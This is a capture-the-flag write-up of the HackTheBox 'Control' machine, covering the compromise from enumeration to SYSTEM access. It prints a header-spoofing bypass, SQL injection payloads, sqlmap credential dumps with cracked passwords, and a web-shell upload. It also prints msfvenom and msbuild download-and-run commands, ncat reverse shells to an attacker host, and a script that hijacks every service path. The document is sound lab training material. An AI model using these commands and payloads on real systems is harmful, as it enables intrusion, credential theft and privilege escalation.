HackTheBox-Control Writeup

Introduction

Control is a 40 pts box on HackTheBox and it is rated as “Hard”. It has an admin page that is supposed to be accessible for only one ip but an attacker is able to bypass it with a http header. There is a search form that is vulnerable to SQL Injection on admin page. SQL Injection is not enough by itself, an attacker also needs to obtain code execution by abusing it. There is a WinRM process running locally and the attacker needs to forward it outside in order to get the initial access to user on the box. The user have control over some services and it allows escalation of privileges.

Initial Enumeration

As always we begin with nmap,

1
2
3
4
5
6
 λ ~/Desktop/htb/machines/control nmap -sVSC -vv -T5 10.10.10.167
...
Discovered open port 80/tcp on 10.10.10.167
Discovered open port 3306/tcp on 10.10.10.167
Discovered open port 135/tcp on 10.10.10.167
...

Port 3306 caught my attention as its not really that common to have the database exposed to public.

Web server,

Lets continue with content discovery, there was nothing much here too

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 λ ~/Desktop/htb/machines/control gobuster dir -u http://control.htb/ -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50 -x php,html,aspx,js
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://control.htb/
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html,aspx,js
[+] Timeout: 10s
===============================================================
2020/04/25 01:12:12 Starting gobuster
===============================================================
/ADMIN.php (Status: 200)
/Admin.php (Status: 200)
/About.php (Status: 200)
/Index.php (Status: 200)
/Images (Status: 301)
/about.php (Status: 200)
/admin.php (Status: 200)
/admin.php (Status: 200)
/assets (Status: 301)
/database.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/uploads (Status: 301)
===============================================================
2020/04/25 01:13:15 Finished
===============================================================

Bypassing Admin Panel

There was a comment left on index.php

When this box was first released, there was a blog post going around on twitter about bypassing restrictions with XFF headers. I saw the same topic on some of the CTF challenges we played that week so I thought there was no chance it was going to be something else :)

This blog post below explains pretty much everything about it
https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers

Without XFF header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 λ ~/Desktop/htb/machines/control curl http://10.10.10.167/admin.php -vv
* Trying 10.10.10.167:80...
* TCP_NODELAY set
* Connected to 10.10.10.167 (10.10.10.167) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: 10.10.10.167
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.3.7
< Date: Sat, 25 Apr 2020 04:40:18 GMT
< Content-Length: 89
<
* Connection #0 to host 10.10.10.167 left intact
Access Denied: Header Missing. Please ensure you go through the proxy to access this page

XFF header with the ip on the comment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
λ ~/Desktop/htb/machines/control curl -vv -H "X-forwarded-for: 192.168.4.28" http://10.10.10.167/admin.php 
* Trying 10.10.10.167:80...
* TCP_NODELAY set
* Connected to 10.10.10.167 (10.10.10.167) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: 10.10.10.167
> User-Agent: curl/7.68.0
> Accept: */*
> X-forwarded-for: 192.168.4.28
> Connection: close
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=UTF-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.3.7
< Date: Sat, 25 Apr 2020 04:39:07 GMT
< Connection: close
< Content-Length: 8262
<
<!DOCTYPE html>
...

I used an extension called “Header Editor” to set the header permanently.

SQL Injection on Admin panel

Parameter productName was vulnerable to SQL injection on endpoint search_products.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search_products.php HTTP/1.1
Host: control.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://control.htb/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Connection: close
Upgrade-Insecure-Requests: 1
x-forwarded-for: 192.168.4.28

productName=' UNION ALL SELECT @@VERSION,1,1,1,1,1-- -

Databases

1
2
3
4
5
6
 λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch -dbs
[01:50:03] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] warehouse

Users and their passwords

1
2
3
4
5
6
7
8
9
10
11
 λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --batch --passwords

[01:50:27] [INFO] cracked password 'l3tm3!n' for user 'manager'
database management system users password hashes:
[*] hector [1]:
password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
clear-text password: l3tm3!n
[*] root [1]:
password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8

Hector’s hash got cracked too

1
0e178792e8fc304a2e3133d535d38caf1da3cd9d:l33th4x0rhector

Credentials didn’t work for SMB and WinRM was closed so I understood I needed to get code execution abusing the SQL injection

Abusing SQLi to get Code Execution

We can simply upload-write files into web server. I uploaded pawny shell.

1
λ ~/Desktop/htb/machines/control /opt/sqlmap/sqlmap.py -r search.req --file-write=./pawny.php --file-dest="C:\inetpub\wwwroot\uploads\morph3-pawny.php" --batch

Hector was in Remote Management Users group (WinRM)

And WinRM was working locally

In order to connect to WinRM as hector I needed to forward it, so I decided to get a meterpreter shell.

Forwarding WinRM

I used msbuild method to get a meterpreter shell.

I have an automated script for it,
https://github.com/morph3/Msbuild-payload-generator

On Kali,

1
2
3
4
5
6
7
(master ?:3 ✗) λ /opt/Msbuild-payload-generator python msbuild_gen.py -l 10.10.14.2 -p 9001 -a x86 -i 20 -m
...
[*] Generating the payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=9001 -e x86/shikata_ga_nai -i 20 -f csharp
[*] Payload has been written to 'out_x86_9001.csproj'
[*] Remote command:
Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj

On pawny shell

1
p0wny@shell:C:\inetpub\wwwroot\uploads# powershell.exe -c "Invoke-WebRequest "http://10.10.14.2/out_x86_9001.csproj" -OutFile "C:\Windows\Temp\out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Windows\Temp\out.csproj"
1
2
3
4
5
meterpreter > getuid
Server username: NT AUTHORITY\IUSR

meterpreter > portfwd add -l 5985 -p 5985 -r 10.10.10.167
[*] Local TCP relay created: :5985 <-> 10.10.10.167:5985

Getting shell as Hector

Used evilwinrm to connect to winrm

or if you don’t want to do port forwarding you can use the powershell script below to get a reverse shell as Hector

1
2
3
4
5
icacls c:\windows\temp\ncat.exe /grant Everyone:F
powershell -ep bypass
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('WORKGROUP\hector', $pass)
Invoke-Command -ComputerName "Fidelity" -Credential $cred -ScriptBlock { C:\windows\temp\ncat.exe -e cmd.exe 10.10.14.2 9002 }

Escalating to root

Untill this part, everything was pretty straight forward and easy but after this part me and my team spent full +20 hours to get root but couldn’t because there were some hints missing and we couldn’t see anything.

However, a day later my team mate paint found an unintentional way that gave him the first blood, It was really a weird behaviour of the web server and I will try to explain it at the end :)

Powershell History

When we were doing the box this powershell history below was not on the box, they added it later on to give more hints about root as people were struggling so bad

1
2
3
4
C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>type ConsoleHost_history.txt
type ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

Long story short what that means is hector has control over some services, he is able to modify binary paths or start them (can’t stop already running services because at that point its out of his permissions)

ACLs

ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

To list of all services hector has control over

1
get-acl HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path"

For example, a service might not be installed or already running or there can be some error, instead of going one by one I will modify all services and try to start them with my hijacked path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath  /t REG_EXPAND_SZ  /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
reg add "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
The operation completed successfully.
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> reg query "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath
reg query "HKLM\System\CurrentControlSet\services\WlanSvc" /v ImagePath

HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\WlanSvc
ImagePath REG_EXPAND_SZ C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd

PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Start-Service WlanSvc
Start-Service WlanSvc
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Stop-Service WlanSvc
Stop-Service WlanSvc
PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cmd /c sc start WlanSvc
cmd /c sc start WlanSvc
[SC] StartService: OpenService FAILED 1060:

The specified service does not exist as an installed service.

Script

1
2
3
4
5
$services = ls HKLM:\SYSTEM\CurrentControlset\Services
foreach ($service in $services){
reg.exe add $service.Name /v ImagePath /t REG_EXPAND_SZ /d "C:\windows\temp\ncat.exe 10.10.14.2 9003 -e cmd" /f
Start-Service -name $service.Name.Split("\\")[-1]
}

After running the script, I got hit on many services and got root multiple times :D.

The unintended way that gave the system first blood

Basically under some circumstances web server acts differently but no matter how hard I tried, those cases didn’t make any sense to me so im leaving it to your imagination.

There are still many unknowns which I’m having trouble to understand. It would be perfect if you know anything about this bug and explain :D

Here are some test cases

1
2
3
4
5
6
7
8
Pawny                                        |   meterpreter shell
--------------------------------------------------------------------------------------------------
64bit meter exe failed to execute | 64bit meter exe failed to execute
shell with nc, iusr | shell with nc, wifidelity
*32bit meter exe failed to execute | *32bit meter exe failed to execute
whoami, iusr | whoami, iusr
whoami, iusr | c:\windows\system32\whoami.exe, wifidelity
64bit payload wrapped around 32 bit exe iusr | 64bit payload wrapped around 32 bit exe, wifidelity

*Its not related to AV, files never gets deleted

Here is a funny example about what is going on

1
2
3
4
5
6
meterpreter > execute -f "c:\windows\system32\whoami.exe > C:\inetpub\wwwroot\uploads\who.txt"
Process 1656 created.
meterpreter > cat who.txt
iis apppool\wifidelity
meterpreter > getuid
Server username: IUSR (0)

iis apppool\wifidelity is like a system user which is able to restart Uso-Svc and is able to elevate his privileges to system easily.

Lets reproduce it

First shell under php meterpreter context

I uploaded my reverse shell payload to the server and by simply visiting the url uploads/morph3.php I executed it

1
λ ~/Desktop/htb/machines/control msfvenom -p php/meterpreter_reverse_tcp lhost=10.10.14.2 lport=9005 -f raw > morph3.php

Wrapping a 64bit meterpreter shellcode around 32bit exe

This shouldn’t work but it works so I have no idea why

I used the wrapper below
https://github.com/Arno0x/ShellcodeWrapper

1
2
3
4
5
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=9001 -a x64 -f raw > shellcode.raw
./shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor
mcs -out:morph3.exe encryptedShellcodeWrapper_xor.cs
file morph3.exe
morph3.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

After that, I uploaded the 32bit exe(morph3.exe) to the server

Executing the 32bit exe

It is really important that you execute it in a php meterpreter shell

Shell as Wifidelity

As you can see we got a shell as Wifidelity

Its really weird that this user is not in users too and we can’t get its details

After going through some of the files that we were not able to see as hector, we see some files under /inetpub/wwwroot/temp/appPools

That strengthen my assumptions about a forgotten(deleted) apppool because there was a config which that really seemeled like it belonged to an actual project

Uso-Svc

As we expected, after loading PowerUp.ps1 and running Invoke-AllChecks we see that this user is able to restart Uso-Svc

By simply using Invoke-ServiceAbuse we can get System shell from it but im not going to show it here again.

As I said I still can’t fully understand this vuln or bug but it helped us and paint for the system first blood :)

Thanks for TRK for this awesome box !